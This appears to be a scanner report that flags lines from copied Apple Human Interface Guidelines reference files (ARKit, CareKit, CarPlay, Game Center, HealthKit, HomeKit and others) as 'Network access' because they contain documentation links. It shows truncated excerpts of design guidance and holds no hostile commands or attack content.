You can enhance an AR experience by using known images and objects in the real-world environment to make virtual content appear. For example, an app that recognizes theater posters for a sci-fi film could cause virtual space ships to emerge - Network accessline 117
## [Communicating with people](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Communicating-with-people) - Network accessline 130
 - Network accessline 148
ARKit can’t track device position and orientation during an interruption, such as when people briefly switch to another app or accept a phone call. After an interruption ends, previously placed virtual objects are likely to appear in the wr - Network accessline 152
 - Network accessline 166
Sufficient lighti - Network accessline 168
Insufficient lighting - Network accessline 178
## [Icons and badges](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Icons-and-badges) - Network accessline 180
Apps can display an AR icon in controls that launch ARKit-based experiences. You can download this icon in [Resources](https://developer.apple.com/design/resources/#ios-apps). - Network accessline 182
 - Network accessline 184
 - Network accessline 190
. Use these images exclusively to identify p - Network accessline 198
AR badge - Network accessline 200
Glyph-only AR badge - Network accessline 210
 - Network accessline 218
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#visionOS) - Network accessline 220
With the wearer’s [permission](https://developer.apple.com/design/human-interface-guidelines/privacy#visionOS), you can use ARKit in your visionOS app to detect surfaces in a person’s surroundings, use a person’s hand and finger postions to - Network accessline 228
## [Resources](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Resources) - Network accessline 230
#### [Related](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Related) - Network accessline 232
[Playing haptics](https://developer.apple.com/design/human-interface-guidelines/playing-haptics) - Network accessline 234
[Gestures](https://developer.apple.com/design/human-interface-guidelines/gestures) - Network accessline 236
[Apple Design Resources](https://developer.apple.com/design/resources/#ios-apps) - Network accessline 238
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Developer-documentation) - Network accessline 240
[ARKit](https://developer.apple.com/documentation/ARKit) - Network accessline 242
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Videos) - Network accessline 244
[ Qualities of great AR experiences ](https://developer.apple.com/videos/play/wwdc2022/10131) - Network accessline 246
[ Explore ARKit 5 ](https://developer.apple.com/videos/play/wwdc2021/10073)
skills/hig-technologies/references/carekit.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "CareKit | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/carekit - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/carekit - Network accessline 9
. - Network accessline 13
CareKit 2.0 contains two projects, CareKit UI and CareKit Store. CareKit UI provides a wide variety of prebuilt views you can use to create a custom CareKit app. CareKit Store defines a database scheme that incorporates CareKit entities — s - Network accessline 15
## [Data and privacy](https://developer.apple.com/design/human-interface-guidelines/carekit#Data-and-privacy) - Network accessline 19
**Provide a coherent privacy policy.** During the app submission process, you must provide a URL to a clearly stated privacy policy, so that people can view the policy when they click the link in the App Store page for your app. For develop - Network accessline 21
In addition to the data that people enter into your CareKit app, you may be able to access data through iOS features and capabilities. You must receive people’s permission before accessing data through these features, and you must protect p - Network accessline 23
### [HealthKit integration](https://developer.apple.com/design/human-interface-guidelines/carekit#HealthKit-integration) - Network accessline 27
**Request access to health data only when you need it.** It makes sense to request access to weight information when people log their weight, for example, but not immediately after your app launches. When your request is clearly related to - Network accessline 33
For related design guidance, see [HealthKit](https://developer.apple.com/design/human-interface-guidelines/healthkit). For developer guidance, see [HealthKit](https://developer.apple.com/documentation/HealthKit). - Network accessline 35
### [Motion data](https://developer.apple.com/design/human-interface-guidelines/carekit#Motion-data) - Network accessline 41
For developer guidance, see [Core Motion](https://developer.apple.com/documentation/CoreMotion). - Network accessline 43
### [Photos](https://developer.apple.com/design/human-interface-guidelines/carekit#Photos) - Network accessline 47
For developer guidance, see [`UIImagePickerController`](https://developer.apple.com/documentation/UIKit/UIImagePickerController). - Network accessline 49
### [ResearchKit integration](https://developer.apple.com/design/human-interface-guidelines/carekit#ResearchKit-integration) - Network accessline 53
For related design guidance, see [ResearchKit](https://developer.apple.com/design/human-interface-guidelines/researchkit). For developer guidance, see [Research & Care > Developers](https://www.researchandcare.org/developers/). - Network accessline 55
## [CareKit views](https://developer.apple.com/design/human-interface-guidelines/carekit#CareKit-views) - Network accessline 61
Category| Purpose ---|--- [Tasks](https://developer.apple.com/design/human-interface-guidelines/carekit#Tasks)| Present tasks, like taking medication or doing physical therapy. Support logging of patient symptoms and other data. - Network accessline 62
---|--- [Tasks](https://developer.apple.com/design/human-interface-guidelines/carekit#Tasks)| Present tasks, like taking medication or doing physical therapy. Support logging of patient symptoms and other data. [Charts](https://develope - Network accessline 63
[Tasks](https://developer.apple.com/design/human-interface-guidelines/carekit#Tasks)| Present tasks, like taking medication or doing physical therapy. Support logging of patient symptoms and other data. - Network accessline 64
[Charts](https://developer.apple.com/design/human-interface-guidelines/carekit#Charts)| Display graphical data that can help people understand how their treatment is progressing. - Network accessline 65
[Contact views](https://developer.apple.com/design/human-interface-guidelines/carekit#Contact-views)| Display contact information. Support communication through phone, message, and email, and link to a map of the contact’s location. - Network accessline 67
 - Network accessline 98
 - Network accessline 128
. To learn about ResearchKit charts, see the [ResearchKit GitHub project](https://github.com/ResearchKit - Network accessline 150
### [Contact views](https://developer.apple.com/design/human-interface-guidelines/carekit#Contact-views) - Network accessline 156
 - Network accessline 164
Notifications can tell people when it’s time to take medication or complete a task, and badging your app icon can show that there’s an unread message from a caregiver. Apple Watch can also display a notification from your app; for guidance, - Network accessline 170
## [Symbols and branding](https://developer.apple.com/design/human-interface-guidelines/carekit#Symbols-and-branding) - Network accessline 176
In a grid view, you might want to display custom symbols that are relevant to the unique content and experience in your app. You could use symbols to indicate the grouping of tasks; for example, a pill to represent medication tasks, or a pe - Network accessline 191
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/carekit#Platform-considerations) - Network accessline 195
## [Resources](https://developer.apple.com/design/human-interface-guidelines/carekit#Resources) - Network accessline 197
#### [Related](https://developer.apple.com/design/human-interface-guidelines/carekit#Related) - Network accessline 199
[Research & Care > CareKit](https://www.researchandcare.org/carekit/) - Network accessline 201
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/carekit#Developer-documentation) - Network accessline 203
[CareKit](https://carekit-apple.github.io/CareKit/documentation/carekit) - Network accessline 205
[Research & Care > Developers](https://www.researchandcare.org/developers/) - Network accessline 207
[Protecting user privacy](https://developer.apple.com/documentation/HealthKit/protecting-user-privacy) — HealthKit - Network accessline 209
[HealthKit](https://developer.apple.com/documentation/HealthKit) - Network accessline 211
[ResearchKit GitHub project](https://github.com/ResearchKit/ResearchKit) - Network accessline 213
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/carekit#Videos) - Network accessline 215
[ What's new in CareKit ](https://developer.apple.com/videos/play/wwdc2020/10151) - Network accessline 217
[ Build a research and care app, part 1: Setup onboarding ](https://developer.apple.com/videos/play/wwdc2021/10068) - Network accessline 219
## [Change log](https://developer.apple.com/design/human-interface-guidelines/carekit#Change-log)
skills/hig-technologies/references/carplay.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "CarPlay | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/carplay - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/carplay - Network accessline 9
. The general design guideli - Network accessline 19
## [iPhone interactions](https://developer.apple.com/design/human-interface-guidelines/carplay#iPhone-interactions) - Network accessline 29
### [Audio](https://developer.apple.com/design/human-interface-guidelines/carplay#Audio) - Network accessline 43
## [Layout](https://developer.apple.com/design/human-interface-guidelines/carplay#Layout) - Network accessline 60
## [Color](https://developer.apple.com/design/human-interface-guidelines/carplay#Color) - Network accessline 72
**Choose colors that help you communicate effectively with everyone.** Different people see and interpret colors differently. For guidance on using colors in ways that people appreciate, see [Inclusive color](https://developer.apple.com/des - Network accessline 74
## [Icons and images](https://developer.apple.com/design/human-interface-guidelines/carplay#Icons-and-images) - Network accessline 90
## [Error handling](https://developer.apple.com/design/human-interface-guidelines/carplay#Error-handling) - Network accessline 96
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/carplay#Platform-considerations) - Network accessline 100
## [Resources](https://developer.apple.com/design/human-interface-guidelines/carplay#Resources) - Network accessline 102
#### [Related](https://developer.apple.com/design/human-interface-guidelines/carplay#Related) - Network accessline 104
[CarPlay](http://developer.apple.com/carplay/) - Network accessline 106
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/carplay#Developer-documentation) - Network accessline 108
[CarPlay App Programming Guide](https://developer.apple.com/carplay/documentation/CarPlay-App-Programming-Guide.pdf) - Network accessline 110
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/carplay#Videos) - Network accessline 112
[ Turbocharge your app for CarPlay ](https://developer.apple.com/videos/play/wwdc202 - Network accessline 114
## [Change log](https://developer.apple.com/design/human-interface-guidelines/carplay#Change-log)
skills/hig-technologies/references/game-center.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Game Center | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/game-center - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/game-center - Network accessline 9
 - Network accessline 30
### [Integrating the access point](https://developer.apple.com/design/human-interface-guidelines/game-center#Integrating-the-access-point) - Network accessline 32
The Game Center _access point_ is an Apple-designed UI element that lets players view their Game Center profile and information without leaving your game. For developer guidance, see [Adding an access point to your game](https://developer.a - Network accessline 34
 - Network accessline 56
**Use the artwork Game Center provides in custom links.** When referencing Game Center features in custom UI, use the official artwork from [Apple Design Resources](https://developer.apple.com/design/resources/#technologies). Preserve the a - Network accessline 69
## [Achievements](https://developer.apple.com/design/human-interface-guidelines/game-center#Achievements) - Network accessline 71
Achievements give players an added incentive to stay engaged with your game. Game Center achievements appear in a collectible card format that highlights the player’s progress and showcases your artwork. For developer guidance, see [Rewardi - Network accessline 73
 - Network accessline 77
 - Network accessline 89
 - Network accessline 93
### [Creating achievement images](https://developer.apple.com/design/human-interface-guidelines/game-center#Creating-achievement-images) - Network accessline 104
 - Network accessline 126
Leaderboards are a great way to encourage friendly competition within your game. When you adopt Game Center, players can easily check their ranking against friends and global players as well as receive notifications when their friends chall - Network accessline 128
 - Network accessline 132
 - Network accessline 204
Challenges turn single player activities into multiplayer experiences with friends. Challenges are built on top of leaderboards and allow players to connect with their friends and participate in competitions with time limits. For developer - Network accessline 206
 - Network accessline 210
 - Network accessline 243
## [Multiplayer activities](https://developer.apple.com/design/human-interface-guidelines/game-center#Multiplayer-activities) - Network accessline 245
Game Center supports both real-time and turn-based multiplayer activities that make it easy to connect players with friends or other players. Players can access multiplayer gameplay through party codes, the Game Overlay, the dashboard, or i - Network accessline 247
 - Network accessline 251
 - Network accessline 290
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/game-center#tvOS) - Network accessline 294
 - Network accessline 303
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/game-center#watchOS) - Network accessline 307
## [Resources](https://developer.apple.com/design/human-interface-guidelines/game-center#Resources) - Network accessline 309
#### [Related](https://developer.apple.com/design/human-interface-guidelines/game-center#Related) - Network accessline 311
[Designing for games](https://developer.apple.com/design/human-interface-guidelines/designing-for-games) - Network accessline 313
[Game controls](https://developer.apple.com/design/human-interface-guidelines/game-controls) - Network accessline 315
[Apple Design Resources](https://developer.apple.com/design/resources/#technologies) - Network accessline 317
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/game-center#Developer-documentation) - Network accessline 319
[GameKit](https://developer.apple.com/documentation/GameKit) - Network accessline 321
[Creating activities for your game](https://developer.apple.com/documentation/GameKit/creating-activities-for-your-game) - Network accessline 323
[Creating engaging challenges from leaderboards](https://developer.apple.com/documentation/GameKit/creating-engaging-challenges-from-leaderboards) - Network accessline 325
[Create games for Apple platforms](https://developer.apple.com/games/) - Network accessline 327
[Game Porting Toolkit](https://developer.apple.com/games/game-porting-toolkit/) - Network accessline 329
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/game-center#Videos) - Network accessline 331
[ Get started with Game Center ](https://developer.apple.com/videos/play/wwdc2025/21 - Network accessline 333
[ Engage players with the Apple Games app ](https://developer.apple.com/videos/play/ - Network accessline 335
## [Change log](https://developer.apple.com/design/human-interface-guidelines/game-center#Change-log)
skills/hig-technologies/references/generative-ai.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Generative AI | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/generative-ai - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/generative-ai - Network accessline 9
 models to create and transform text, images, and other content. Use it to offer novel, delightful fea - Network accessline 13
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Best-practices) - Network accessline 19
**Ensure an inclusive experience for all.** AI models learn from data and tend to favor the most common information. This may lead to harmful, unintended biases and stereotypes. Take extra care when designing your AI feature to consider how - Network accessline 25
## [Transparency](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Transparency) - Network accessline 29
**Set clear expectations about what your AI-powered feature can and can’t do.** Clarifying your experience’s capabilities and limitations helps people establish a mental model of your feature. For example, when you introduce a feature, you - Network accessline 31
## [Privacy](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Privacy) - Network accessline 35
**Ask permission before using personal information and usage data.** Some interactions with an AI model may involve sensitive information, like personal details, messages, photos, and feature usage information. After obtaining permission, u - Network accessline 39
## [Models and datasets](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Models-and-datasets) - Network accessline 41
**Thoughtfully evaluate model capabilities.** There are different types of generative models, some of which possess general knowledge, while others are trained for specific tasks. It’s important to understand the capabilities of any model y - Network accessline 45
## [Inputs](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Inputs) - Network accessline 53
## [Outputs](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Outputs) - Network accessline 61
**Factor processing time into your design.** _Latency_ is how much time it takes for a model to produce an output. Non-generative models, such as [people tracking in ARKit](https://developer.apple.com/documentation/arkit/capturing-body-moti - Network accessline 63
**Consider offering alternate versions of results.** Depending on the design of your feature, it might work best to present a single result or multiple meaningfully different results from which people can choose. Offering people a choice ca - Network accessline 65
## [Continuous improvement](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Continuous-improvement) - Network accessline 69
**Let people share feedback on outputs.** Feedback can help you identify and respond to unexpected outcomes and new potential issues that arise despite thorough testing. Feedback also gives people a way to celebrate what they like best abou - Network accessline 73
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Platform-considerations) - Network accessline 77
## [Resources](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Resources) - Network accessline 79
#### [Related](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Related) - Network accessline 81
[Machine learning](https://developer.apple.com/design/human-interface-guidelines/machine-learning) - Network accessline 83
[Inclusion](https://developer.apple.com/design/human-interface-guidelines/inclusion) - Network accessline 85
[Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility) - Network accessline 87
[Privacy](https://developer.apple.com/design/human-interface-guidelines/privacy) - Network accessline 89
[Loading](https://developer.apple.com/design/human-interface-guidelines/loading) - Network accessline 91
[Acceptable Use Requirements for the Foundation Models Framework](https://developer.apple.com/apple-intelligence/acceptable-use-requirements-for-the-foundation-models-framework) - Network accessline 93
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Videos) - Network accessline 95
[ Explore prompt design & safety for on-device foundation models ](https://develope - Network accessline 97
[ Discover machine learning & AI frameworks on Apple platforms ](https://developer. - Network accessline 99
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Developer-documentation) - Network accessline 101
[Apple Intelligence and machine learning](https://developer.apple.com/documentation/TechnologyOverviews/ai-machine-learning) - Network accessline 103
[Foundation Models](https://developer.apple.com/documentation/FoundationModels) - Network accessline 105
## [Change log](https://developer.apple.com/design/human-interface-guidelines/generative-ai#Change-log)
skills/hig-technologies/references/healthkit.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "HealthKit | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/healthkit - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/healthkit - Network accessline 9
. - Network accessline 23
## [Privacy protection](https://developer.apple.com/design/human-interface-guidelines/healthkit#Privacy-protection) - Network accessline 25
You must request permission to access people’s data, and you must take all necessary steps to protect that data. After you receive permission, it’s essential to maintain people’s trust by clearly showing them how you use their data. For dev - Network accessline 27
**Provide a coherent privacy policy.** During the app submission process, you must provide a URL to a clearly stated privacy policy, so that people can view the policy when they click the link in the App Store page for your app. For develop - Network accessline 29
**Request access to health data only when you need it.** It makes sense to request access to weight information when people log their weight, for example, but not immediately after your app launches. When your request is clearly related to - Network accessline 33
 - Network accessline 41
. - Network accessline 61
## [Apple Health icon](https://developer.apple.com/design/human-interface-guidelines/healthkit#Apple-Health-icon) - Network accessline 63
The Apple Health icon shows that an app works with HealthKit and the Health app. The following guidelines help you use the icon correctly. To learn how to refer to HealthKit and the Health app in copy and UI text, see [Editorial guidelines] - Network accessline 65
 - Network accessline 93
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/healthkit#Platform-considerations) - Network accessline 97
## [Resources](https://developer.apple.com/design/human-interface-guidelines/healthkit#Resources) - Network accessline 99
#### [Related](https://developer.apple.com/design/human-interface-guidelines/healthkit#Related) - Network accessline 101
[Works with Apple Health](https://developer.apple.com/health-fitness/works-with-apple-health/) - Network accessline 103
[Activity rings](https://developer.apple.com/design/human-interface-guidelines/activity-rings) - Network accessline 105
[Apple Design Resources](https://developer.apple.com/design/resources/#technologies) - Network accessline 107
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/healthkit#Developer-documentation) - Network accessline 109
[HealthKit](https://developer.apple.com/documentation/HealthKit) - Network accessline 111
[Protecting user privacy](https://developer.apple.com/documentation/HealthKit/protecting-user-privacy) — HealthKit - Network accessline 113
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/healthkit#Videos) - Network accessline 115
[ Meet the HealthKit Medications API ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 117
[ Track workouts with HealthKit on iOS and iPadOS ](https://developer.apple.com/vide - Network accessline 119
[ Explore wellbeing APIs in HealthKit ](https://developer.apple.com/videos/play/wwdc
skills/hig-technologies/references/homekit.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "HomeKit | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/homekit - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/homekit - Network accessline 9
. If you’re an MFi licensee, visit the [MFi portal](https://mfi.apple.com) for guidance on naming and messaging for accessory packaging. - Network accessline 30
## [Terminology and layout](https://developer.apple.com/design/human-interface-guidelines/homekit#Terminology-and-layout) - Network accessline 36
In the HomeKit model, the [home](https://developer.apple.com/design/human-interface-guidelines/homekit#Homes) object is the root of a hierarchy that contains all other objects, such as [rooms](https://developer.apple.com/design/human-interf - Network accessline 38
**Acknowledge the hierarchical model that HomeKit uses.** Even if your app doesn’t organize accessories by rooms and zones in its UI, it’s useful to reference the HomeKit model when helping people set up or control their accessories. People - Network accessline 46
### [Homes](https://developer.apple.com/design/human-interface-guidelines/homekit#Homes) - Network accessline 50
### [Rooms](https://developer.apple.com/design/human-interface-guidelines/homekit#Rooms) - Network accessline 54
### [Accessories, services, and characteristics](https://developer.apple.com/design/human-interface-guidelines/homekit#Accessories-services-and-characteristics) - Network accessline 58
A controllable feature of an accessory, such as the switch on a connected light, is known as a _service_. Some accessories offer multiple services. For example, a connected garage door might let people control the light and the door separat - Network accessline 64
### [Actions and scenes](https://developer.apple.com/design/human-interface-guidelines/homekit#Actions-and-scenes) - Network accessline 74
### [Automations](https://developer.apple.com/design/human-interface-guidelines/homekit#Automations) - Network accessline 78
### [Zones](https://developer.apple.com/design/human-interface-guidelines/homekit#Zones) - Network accessline 82
## [Setup](https://developer.apple.com/design/human-interface-guidelines/homekit#Setup) - Network accessline 84
**Use the system-provided setup flow to give people a familiar experience.** The HomeKit setup flow works more quickly than traditional setup flows because it lets people name accessories, join networks, pair with HomeKit, assign room and s - Network accessline 94
### [Help people choose useful names](https://developer.apple.com/design/human-interface-guidelines/homekit#Help-people-choose-useful-names) - Network accessline 109
| Example service names ---|--- | Reading lamp - Network accessline 110
---|--- | Reading lamp | Reading lamp - Network accessline 112
| 📚 lamp - Network accessline 113
| 2nd garage door - Network accessline 114
| #2 garage door - Network accessline 118
## [Siri interactions](https://developer.apple.com/design/human-interface-guidelines/homekit#Siri-interactions) - Network accessline 160
**Offer shortcuts only for accessory-specific functionality that HomeKit doesn’t support.** HomeKit lets people use ordinary (or natural) language to control accessories without requiring any additional configuration, so you avoid confusing - Network accessline 164
## [Custom functionality](https://developer.apple.com/design/human-interface-guidelines/homekit#Custom-functionality) - Network accessline 168
**Be clear about what people can do in your app and when they might want to use the Home app.** For example, if your app supports only lights, consider encouraging people to create a “Movie Time” scene that not only dims the lights, but als - Network accessline 174
### [Cameras](https://developer.apple.com/design/human-interface-guidelines/homekit#Cameras) - Network accessline 182
## [Using HomeKit icons](https://developer.apple.com/design/human-interface-guidelines/homekit#Using-HomeKit-icons) - Network accessline 186
 - Network accessline 188
In addition, you can use the Apple Home app icon when referencing the Apple Home app or in a button that opens the Apple Home app [product page](https://itunes.apple.com/us/app/home/id1110145103?mt=8) in the App Store. - Network accessline 190
. - Network accessline 194
### [Styles](https://developer.apple.com/design/human-interface-guidelines/homekit#Styles) - Network accessline 198
#### [Black HomeKit icon](https://developer.apple.com/design/human-interface-guidelines/homekit#Black-HomeKit-icon) - Network accessline 202
 - Network accessline 204
#### [White HomeKit icon](https://developer.apple.com/design/human-interface-guidelines/homekit#White-HomeKit-icon) - Network accessline 208
 - Network accessline 210
#### [Custom color HomeKit icon](https://developer.apple.com/design/human-interface-guidelines/homekit#Custom-color-HomeKit-icon) - Network accessline 214
 - Network accessline 218
 - Network accessline 224
 - Network accessline 226
 - Network accessline 228
 - Network accessline 230
**Don’t use the HomeKit icon within text or as a replacement for the word HomeKit.** See [Referring to HomeKit](https://developer.apple.com/design/human-interface-guidelines/homekit#Referring-to-HomeKit) to learn how to properly reference H - Network accessline 232
 - Network accessline 236
 - Network accessline 240
 - Network accessline 244
**Pair the icon with the name _HomeKit_ correctly.** You can show the name below or beside the icon if other technologies are referenced in this way. Use the same font that’s used on the rest of your layout. For related guidance, see [Refer - Network accessline 246
 - Network accessline 254
**Adhere to Apple’s trademark guidelines.** Apple trademarks can’t appear in your app name or images. In text, use Apple product names exactly as shown on the [Apple Trademark List](https://www.apple.com/legal/intellectual-property/trademar - Network accessline 271
| Example text ---|--- | Use HomeKit to turn on your lights from your iPhone or - Network accessline 272
---|--- | Use HomeKit to turn on your lights from your iPhone or iPad. | Use HomeKit to turn on your lights from your iPhone or iPad. - Network accessline 274
| Use HomeKit to turn on your lights from your iOS devices. - Network accessline 276
See [Guidelines for Using Apple Trademarks](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html). - Network accessline 278
### [Referencing HomeKit and the Home app](https://developer.apple.com/design/human-interface-guidelines/homekit#Referencing-HomeKit-and-the-Home-app) - Network accessline 284
| Example text ---|--- | [Brand] lightbulbs work with HomeKit. - Network accessline 285
---|--- | [Brand] lightbulbs work with HomeKit. | [Brand] lightbulbs work with HomeKit. - Network accessline 287
| HomeKit-enabled thermostat. - Network accessline 288
| You can use HomeKit with [App Name]. - Network accessline 289
| HomeKit lightbulbs. - Network accessline 293
| Example text ---|--- | Back door is unlocked with HomeKit. - Network accessline 294
---|--- | Back door is unlocked with HomeKit. | Back door is unlocked with HomeKit. - Network accessline 296
| HomeKit unlocked the back door. - Network accessline 300
| Example text ---|--- | Compatible with Apple HomeKit. - Network accessline 302
| Compatible with Apple HomeKit. - Network accessline 306
| Example text ---|--- | Open HomeKit settings. - Network accessline 308
| Open HomeKit settings. - Network accessline 312
| Example text ---|--- | Open the Apple Home app. - Network accessline 313
---|--- | Open the Apple Home app. | Open the Apple Home app. - Network accessline 315
| Open the Apple Home app. Your accessory and room will now appear in the Home app. - Network accessline 316
| Open Home. - Network accessline 318
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/homekit#Platform-considerations) - Network accessline 322
## [Resources](https://developer.apple.com/design/human-interface-guidelines/homekit#Resources) - Network accessline 324
#### [Related](https://developer.apple.com/design/human-interface-guidelines/homekit#Related) - Network accessline 326
[Apple Design Resources](https://developer.apple.com/design/resources/) - Network accessline 328
[Guidelines for Using Apple Trademarks and Copyrights](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html) - Network accessline 330
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/homekit#Developer-documentation) - Network accessline 332
[HomeKit](https://developer.apple.com/documentation/HomeKit) - Network accessline 334
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/homekit#Videos) - Network accessline 336
[ Add support for Matter in your smart home app ](https://developer.apple.com/videos/play/wwdc2021/10298) - Network accessline 338
## [Change log](https://developer.apple.com/design/human-interface-guidelines/homekit#Change-log)
skills/hig-technologies/references/icloud.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "iCloud | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/icloud - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/icloud - Network accessline 9
 - Network accessline 33
**For games, consider saving player progress in iCloud.** Although you can implement this functionality yourself, the GameSave framework offers an efficient solution. It synchronizes save data across devices and offers built-in alerts you c - Network accessline 35
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/icloud#Platform-considerations) - Network accessline 39
## [Resources](https://developer.apple.com/design/human-interface-guidelines/icloud#Resources) - Network accessline 41
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/icloud#Developer-documentation) - Network accessline 43
[CloudKit](https://developer.apple.com/documentation/CloudKit) - Network accessline 45
[GameSave](https://developer.apple.com/documentation/GameSave) - Network accessline 47
## [Change log](https://developer.apple.com/design/human-interface-guidelines/icloud#Change-log)
skills/hig-technologies/references/id-verifier.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "ID Verifier | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/id-verifier - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/id-verifier - Network accessline 9
 - Network accessline 33
**Ask only for the data you need.** People may lose trust in the experience if you ask for more data than you need to complete the current verification. For example, if you need to ensure that a customer is at least a minimum age, use a req - Network accessline 35
**If your app qualifies for Apple Business Register, register for ID Verifier to ensure that people can view essential information about your organization when you make a request.** Registering for ID Verifier with Apple Business Register l - Network accessline 39
Button type| Example usage ---|--- | An app that checks whether people are old - Network accessline 40
---|--- | An app that checks whether people are old enough to attend an event or - Network accessline 41
| An app that checks whether people are old enough to attend an event or access a - Network accessline 42
| An app that verifies whether specific identity information matches exp - Network accessline 46
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Platform-considerations) - Network accessline 50
## [Resources](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Resources) - Network accessline 52
#### [Related](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Related) - Network accessline 54
[Apple Business Register](https://register.apple.com/services/login?returnTo=/signin/tap-to-present-id-on-iphone) - Network accessline 56
[IDs in Wallet](https://learn.wallet.apple/id) - Network accessline 58
[Identity verification](https://developer.apple.com/design/human-interface-guidelines/wallet#Identity-verification) - Network accessline 60
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Developer-documentation) - Network accessline 62
[Adopting the Verifier API in your iPhone app](https://developer.apple.com/documentation/ProximityReader/adopting-the-verifier-api-in-your-iphone-app) — ProximityReader - Network accessline 64
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Videos) - Network accessline 66
[ What’s new in Wallet and Apple Pay ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 68
## [Change log](https://developer.apple.com/design/human-interface-guidelines/id-verifier#Change-log)
skills/hig-technologies/references/imessage-apps-and-stickers.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "iMessage apps and stickers | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers - Network accessline 9
 - Network accessline 27
## [Specifications](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Specifications) - Network accessline 29
### [Icon sizes](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Icon-sizes) - Network accessline 47
### [Sticker sizes](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Sticker-sizes) - Network accessline 51
 - Network accessline 84
## [Resources](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Resources) - Network accessline 86
#### [Related](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Related) - Network accessline 88
[iMessage Apps and Stickers](https://developer.apple.com/imessage/) - Network accessline 90
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Developer-documentation) - Network accessline 92
[Messages](https://developer.apple.com/documentation/Messages) - Network accessline 94
[Adding Sticker packs and iMessage apps to the system Stickers app, Messages camera, and FaceTime](https://developer.apple.com/documentation/Messages/adding-sticker-packs-and-imessage-apps-to-the-system-stickers-app-messages-camera-and-face - Network accessline 96
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/imessage-apps-and-stickers#Videos) - Network accessline 98
[ Express Yourself! ](https://developer.apple.com/videos/play/wwdc2017/820) - Network accessline 100
